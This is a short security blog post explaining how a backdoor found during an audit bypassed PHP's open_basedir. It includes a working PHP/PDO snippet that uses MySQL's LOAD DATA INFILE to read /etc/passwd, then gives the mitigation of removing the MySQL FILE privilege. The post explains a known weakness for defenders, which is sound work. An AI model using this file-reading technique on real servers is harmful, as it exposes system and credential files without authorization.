Bypassing PHP’s open_basedir with MySQL

PHP feature open_basedir is supposed to limit the files that can be opened by PHP to a specified directory-tree (full doc is here). Functions like fopen or file_get_contents will returns an error if the file is outside the allowed directory. So far, it sounds like a good protection.

However, it is also very famous for being flawed by design and easy to violate (like safe_mode by the way). Well, until now I didn’t realize how easy it is indeed to bypass it. During a security audit, I add the opportunity to study a backdoor left here by some script kiddie (thanks to an outdated version of a web application). Here is just one interesting example that uses MySQL:

  1. create a temporary table
  2. use MySQL’s command LOAD DATA INFILE to read any file and load is content to the table
  3. select the content of the table

In clean PHP, the code would looks like:

$filename = '/etc/passwd';

$pdo = new PDO($dsn, $username, $password);
$pdo->exec('CREATE TEMPORARY TABLE tmp_file ( content LONGBLOB NOT NULL)');
$pdo->exec(sprintf(
    'LOAD DATA INFILE %s INTO TABLE tmp_file',
    $pdo->quote($filename)
));
$content = $pdo->query('SELECT * FROM tmp_file')->fetchAll(PDO::FETCH_COLUMN);

To prevent that exploit in particular, it’s easy: just make sure that the MySQL’s user doesn’t have the FILE privilege. But open_basedir is definitely not safe. As seen in Debian’s php.ini default file:

This is considered a “broken” security measure. Applications relying on this feature will not recieve full support by the security team